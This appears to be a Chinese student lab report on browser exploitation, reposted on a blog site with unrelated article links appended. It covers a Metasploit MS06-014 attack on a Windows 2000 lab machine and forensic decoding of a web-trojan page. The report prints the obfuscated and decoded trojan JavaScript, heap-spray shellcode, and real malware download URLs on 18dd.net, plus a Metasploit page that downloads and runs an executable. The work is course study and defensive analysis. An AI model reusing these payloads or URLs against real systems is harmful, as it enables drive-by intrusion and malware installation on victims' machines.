20232801 2023-2024-2 《网络攻防实践》实践十一报告

#20232801 2023-2024-2 《网络攻防实践》实践十一报告

1.实践内容

(1)web浏览器渗透攻击
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

(2)取证分析实践—网页木马攻击场景分析

(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2.实践过程

2.1web浏览器渗透攻击

攻击机:kali 192.168.39.223
靶机:win2K 192.168.39.62
kalij机,并测试连通性。
在这里插入图片描述
Win2k:查看IP,并测试连通性
在这里插入图片描述

在kali中输入 msfconsole打开Metasploit
在这里插入图片描述
输入 search MS06-014查找使用的漏洞
在这里插入图片描述
输入use exploit/windows/browser/ie_createobject进入该渗透攻击模块
使用命令set payload windows/shell/bind_tcp,选择常用PAYLOAD为windows/shell/bind_tcp。
在这里插入图片描述
set Lhost 192.168.39.223设置攻击机
set Lhost 192.168.39.62设置靶机IP
exploit 运行
发现出现恶意URL
在这里插入图片描述

在这里插入图片描述
在靶机的浏览器中访问这个恶意URL:
在这里插入图片描述

回到攻击机中靶机到攻击机的session被建立。
在这里插入图片描述

2.2 取证分析实践—网页木马攻击场景分析

1.使用记事本 打开start.html文件,然后查找new09
在这里插入图片描述
在这里插入图片描述

从这两处可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以new09.htm文件与start.html文件在同一目录下。查看new09.htm
用iframe引用了:http://aa.18dd.net/aa/kl.htm 文件,
用javascript引用了:http://js.users.51.la/1299644.js文件。对它们分别作MD5散列:
在这里插入图片描述
http://aa.18dd.net/aa/kl.htm
在这里插入图片描述
http://js.users.51.la/1299644.js
在这里插入图片描述
在hashed中找到这两个对应的文件:
其中23180a42a2ff1192150231b44ffdf3d3对应的文件打开后,显示内容的不是我们所需要的。
在这里插入图片描述
打开7f60672dcd6b5e90b6772545ee219bd3对应文件。
由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), ‘\x73\x63\x72\x69\x70\x74’))可知实际上这是一种被称为 XXTEA+Base64 的加密方法,我们找到它的加密密钥。
在这里插入图片描述
将\x73\x63\x72\x69\x70\x74使用十六进制转字符串的操作,即可得到密钥script:
在这里插入图片描述
t变量中的内容进行解密
得到

<script> eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d") </script>

在这里插入图片描述
在将得到的16进制进行转化
得到:
在这里插入图片描述
完整内容为:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

从以上代码中可以看到相关的四个漏洞:

http://aa.18dd.net/aa/1.js  ---->MPS.StormPlayer
http://aa.18dd.net/aa/b.js  ---->POWERPLAYER.PowerPlayerCtrl.1
http://aa.18dd.net/aa/pps.js ---->BaiduBar.Tool
http://down.18dd.net/bb/bd.cab ---->Adodb.Stream

求上述网页对应的哈希值:
http://aa.18dd.net/aa/1.js,32 = 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js,32 = 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js,32 = 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab,32=1c1d7b3539a617517c49eee4120783b2

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
**1. 1.js :**对应的5d7e9058a857aa2abee820d5473c5fa4文件
在这里插入图片描述
将十六进制数转换为字符串,得到如下结果。
可知,代码下载了http://down.18dd.net/bb/014.exe 可执行文件。
在这里插入图片描述

2. b.js文件:对应3870c28cc279d457746b3796a262f166文件
在这里插入图片描述对其进行
packed
解密操作
看到关键字shellcode,找到其中的URL,结果为http://down.18dd.net/bb/bf.exe得到一个可执行文件。
在这里插入图片描述
3.pp.js:对应5f0b8bf0385314dbe0e5ec95e6abedc2文件。
可知该文件采用了八进制加密方式
在这里插入图片描述对其进行八进制解密得到以下内容

解密结果如下:得到可执行文件http://down.18dd.net/bb/pps.exe

/%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"
“%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904”
“%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b”
“%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e”
“%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d”
“%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320”
"%u206a%uff53%uec57%u/ pps=(document.createElement(“object”));
pps.setAttribute(“classid”,“clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458”)
var shellcode = unescape(“%uf3e9%u0000”
“%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c”
“%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378”
“%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b”
“%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7”
“%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1”
“%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103”
“%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904”
“%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b”
“%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e”
“%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d”
“%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320”
“%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344”
“%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc”
“%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0”
“%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab”
“%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f”
“%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574”
“%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e”
“%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00”
“%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c”
“%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54”
“%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62
2f%u2f62%u7070%u2e73%u7865%u0065”); var bigblock =
unescape(“%u9090%u9090”); var headersize = 20; var slackspace =
headersizeshellcode.length; while (bigblock.length<slackspace)
bigblock=bigblock; fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.lengthslackspace<0x40000) block = blockblockfillblock;
memory = new Array(); for (x=0; x<400; x) memory[x] = block shellcode;
var buffer = ‘’; while (buffer.length < 500)
buffer=“\x0a\x0a\x0a\x0a”; pps.Logo = buffer

得到pps.exe文件
在这里插入图片描述
计算这个地址的MD5
在这里插入图片描述
**4.**打开 http://down.18dd.net/bb/bd.cab,解压得到bd.exe文件
在这里插入图片描述
现在得到了4个压缩文件

http://down.18dd.net/bb/014.exe
http://down.18dd.net/bb/bf.exe
http://down.18dd.net/bb/pps.exe
bd.exe

3.对exe可执行文件进行分析
以上大小都是37KB,分别计算他们的MD5值:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这四个是一模一样的,任意分析一个。
在这里插入图片描述
W32Dasm软件反汇编bf.exe文件,并查看串式参考内容清单
看到
goto try,try,Alletdel.ba可以知道,这个可执行文件生成“Alletdel.bat”文件,该文件的能够不断执行“try”标签下一行的命令,如更改系统日期、删除某些文件。
在这里插入图片描述
:\AutoRun.inf可知,这个可执行文件可能在磁盘根目录自动运行文件
在这里插入图片描述
advapi32.dll和drivers/klif.sys可知,这个可执行文件可能修改注册表。
在这里插入图片描述
http://down.18dd.net/kl/**.exe ,表明该程序会下载许多木马。
在这里插入图片描述
观察到瑞星卡卡上网安全助手 - IE防漏墙,允许,允许执行,可知此程序会阻止安全软件的查杀
在这里插入图片描述

2.3 攻防对抗实践—web浏览器渗透攻击攻防

与第一个实验步骤方法一样,使用MS06-014漏洞生成URL,
在这里插入图片描述
在win2k中打开网址:
在这里插入图片描述
在kali中成功建立了会话:
在这里插入图片描述
在浏览器中点击右键,查看那个网页源代码

在这里插入图片描述
利用压缩格式化工具http://www.esjson.com/htmlformat.html 去进行压缩格式化在这里插入图片描述
得到源码:

<html><head><title></title><script language="javascript">function UAFxWqWengBBDyjOGgur(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function DG(a){var s=UAFxWqWengBBDyjOGgur(a,"WScript.Shell");var o=UAFxWqWengBBDyjOGgur(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\dMioq.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function qzOYiUnpVxKmDjXQZFuOEI(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=UAFxWqWengBBDyjOGgur(a,"WScript.Shell");if(b){DG(a);return(0)}}catch(e){}}i++}}</script></head><body onload='qzOYiUnpVxKmDjXQZFuOEI()'>duafIlNMYJKjSFkKtmGeHvJxh</body></html>

代码中调用了document.location加载了 payload,下一行中后面跟了一个可执行文件 **bin=e.Item(“TEMP”)+“\dMioq.exe”**可执行文件是以攻击机为服务器,通过网页下载到靶机上的

BD96C556-65A3-11D0-983A-00C04FC29E33是漏洞MS06-014中的clsid变量,搜索 BD96C556,可知攻击者使用的漏洞是MS06-014。

3.学习中遇到的问题及解决

问题1:最开始使用winXP作为靶机来进行实验的,发现输入恶意URL后无法建立会话

  • 问题1解决方案:发现WINXP中无法使用实验中的漏洞,换成Win2K作为靶机

4.实践总结

此次实验,学习了
网页木马:网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。
网页钓鱼:利用人性的好奇、信任。攻击者伪装成可信任的发件人,向受害者发送具有欺骗性质的消息,设下“诱饵”,诱导受害者点击恶意链接,并在攻击者仿冒的网页上提供敏感数据。利用获取到的信息

参考资料

实验参考网页
网页木马
网页钓鱼

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/331909.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

北核论文完美复现:自适应t分布与动态边界策略改进的算术优化算法

声明&#xff1a;文章是从本人公众号中复制而来&#xff0c;因此&#xff0c;想最新最快了解各类智能优化算法及其改进的朋友&#xff0c;可关注我的公众号&#xff1a;强盛机器学习&#xff0c;不定期会有很多免费代码分享~ 目录 原始算术优化算法 改进点1&#xff1a;引入…

那智不二越机器人维修案例分享

那智不二越工业机器人在工业范围内广泛应用于各种生产领域。其示教器作为人机交互的重要设备&#xff0c;常常需要定期维护和Nachi不二越机械手示教盒修理。 【Nachi不二越机器人示教器维修步骤】 1. 关闭电源 在进行任何那智不二越机器人维修操作之前&#xff0c;务必确保机器…

IDEA打开项目报错

IDEA打开项目报错&#xff1a; Cannot read scheme C:\Users\xxxxxx\AppData\Roaming\JetBrains\IntelliJIdea2023.2\qaplug_profiles\Default.xmljava.lang.AbstractMethodError: Receiver class com.soldevelo.qaplug.scanner.AnalysisProfileManager$2 does not define or i…

单条16g和双条8g哪个好

单条16g和双条8g各有优劣,具体选择要根据个人需求和电脑配置来决定。 以下是一些参考信息: •单条16g内存的价格比双条8g内存的价格低,而且16g的内存容量大,一条内存十分的方便。 •两条8g内存可以组成双通道,电脑运行速度要快一些。 •对于普通使用电脑的人群与热衷于…

项目管理-人力资源管理

目录 一、概述 二、人力资源计划编制 2.1 概述 2.2 层次结构图 2.3 分配任务矩阵 三、组建项目团队 3.1 概述 3.2 内部谈判 3.3 事先分派 3.4 外部招聘 3.5 虚拟团队 3.6 总结 四、项目团队建设 4.1 概述 4.2 团队发展过程 4.2.1 概述 4.2.2 形成期 4.2.3 震…

vue3 ts问题 找不到模块“@/views/home/index.vue”或其相应的类型声明。

1. 找不到模块“/views/HomeView.vue”或其相应的类型声明 今天帮同事看了一个问题&#xff0c;他尝试用vitevue3tspinia创建项目&#xff0c;结果刚上来就遇到这么一个问题 2. 解决办法 出现这个问题的原因就是&#xff1a;ts只支持导出导入模块&#xff0c;但是vue不是模块…

红蓝对抗-HW红蓝队基本知识(网络安全学习路线笔记)

第一, 什么是蓝队 蓝队&#xff0c;一般是指网络实战攻防演习中的攻击一方。 蓝队一般会采用针对目标单位的从业人员&#xff0c;以及目标系统所在网络内的软件、硬件设备同时执行多角度、全方位、对抗性的混合式模拟攻击手段&#xff1b;通过技术手段实现系统提权、控制业务、…

利用Python去除PDF水印

摘要 本文介绍了如何使用 Python 中的 PyMuPDF 和 OpenCV 库来从 PDF 文件中移除水印&#xff0c;并将每个页面保存为图像文件的方法。我们将深入探讨代码背后的工作原理&#xff0c;并提供一个简单的使用示例。 导言 简介&#xff1a;水印在许多 PDF 文件中都很常见&#x…

自建公式,VBA在Excel中轻松获取反义词

自建公式&#xff0c;VBA在Excel中轻松获取反义词 文章目录 前言一、爬取网站数据二、代码1.创建数据发送及返回方法2.汉字转UTF8编码2.获取反义词 三、运行效果截图 前言 小学语文中&#xff0c;近义词、反义词是必考内容之一。家长不能随时辅导怎么办&#xff1f;有VBA&…

脚注:书籍的小秘密,躲藏在脚注间

脚注&#xff1a;书籍的小秘密&#xff0c;躲藏在脚注间 脚注是一种在文本中提供补充信息、引用出处或注解的方式&#xff0c;有助于读者更全面地理解文中内容&#xff0c;并为进一步研究提供参考和跳转点。 在一书本中&#xff0c;脚注是额外提供给读者的文字信息&#xff0…

自动化您的任务——crewAI 初学者教程

今天&#xff0c;我写这篇文章是为了分享您开始使用一个非常流行的多智能体框架所需了解的所有信息&#xff1a;crewAI。 我将在这里或那里跳过一些内容&#xff0c;使本教程成为一个精炼的教程&#xff0c;概述帮助您入门的关键概念和要点 今天&#xff0c;我写这篇文章是为了…

RedHat9 | DNS剖析-配置主DNS服务器实例

一、实验环境 1、BIND软件包介绍 BIND软件是一款开放源码的DNS服务器软件&#xff0c;由美国加州大学Berkeley分校开发和维护&#xff0c;全称为Berkeley Internet Name Domain。该软件在DNS&#xff08;域名系统&#xff09;领域具有重要地位&#xff0c;是目前世界上使用最…

[数组查找]1.图解线性查找及其代码实现

线性查找 线性查找是一种在数组中查找数据的算法。与二分查找不同&#xff0c;即便数据没有按顺序存储&#xff0c;也可以应用线性查找。线性查找的操作很简单&#xff0c;只要在数组中从头开始依次往下查找即可。虽然存储的数据类型没有限制&#xff0c;但为了便于理解&#x…

stm32学习-流水灯

接线 注意&#xff1a;LED灯长一点的引脚是正极。 配置GPIO 1.使用RCC开启GPIO时钟 void RCC_AHBPeriphClockCmd(uint32_t RCC_AHBPeriph, FunctionalState NewState); void RCC_APB2PeriphClockCmd(uint32_t RCC_APB2Periph, FunctionalState NewState); void RCC_APB1Perip…

【credit_based流控机制】

credit_based流控机制 1 credit_based way1.1 Principle1.3 DFD1.4 Module1.4.1 Interface1.4.2 Code Block 在网络芯片处理大流量报文中&#xff0c;一般主要是两种机制&#xff1a;1.valid–ready反压(backpressure)机制&#xff1b;2.credit信用机制&#xff1b; credit机制…

软件设计师干货资料分享

从2月份备考&#xff0c;到5月份结束&#xff0c;满打满算四个月准备时间。在此我想提醒一句&#xff0c;世界上没有什么不劳而获的事情&#xff0c;never&#xff0c;只要你是一个普通人&#xff0c;但凡你想索取一些什么&#xff0c;无一例外你都需要付出&#xff0c;而且是踏…

Pytorch深度学习实践笔记6(b站刘二大人)

&#x1f3ac;个人简介&#xff1a;一个全栈工程师的升级之路&#xff01; &#x1f4cb;个人专栏&#xff1a;pytorch深度学习 &#x1f380;CSDN主页 发狂的小花 &#x1f304;人生秘诀&#xff1a;学习的本质就是极致重复! 《PyTorch深度学习实践》完结合集_哔哩哔哩_bilibi…

浏览器下载文件被拦截删除-关闭实时保护

关键字&#xff1a; 下载、拦截、删除、杀毒、浏览器、病毒、激活、序列号、keygen、KMS、不安全、Windows Defender Win10关闭实时保护功能的方法 浏览器下载的文件被系统删除&#xff0c;下载失败 问题描述 由于系统原因&#xff0c;下载文件已被删除&#xff08;edge&…

【python】python 全国5A级景区数据采集与pyecharts可视化(源码+数据+论文)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;公众号&#x1f448;&#xff1a;测试开发自动化【获取源码商业合作】 &#x1f449;荣__誉&#x1f448;&#xff1a;阿里云博客专家博主、5…

vue深度选择器(:deep​)

处于 scoped 样式中的选择器如果想要做更“深度”的选择&#xff0c;也即&#xff1a;影响到子组件&#xff0c;可以使用 :deep() 这个伪类&#xff1a; <style lang"scss" scoped> .evaluation-situation-details :deep .cl-icon-arrow-right {display: none…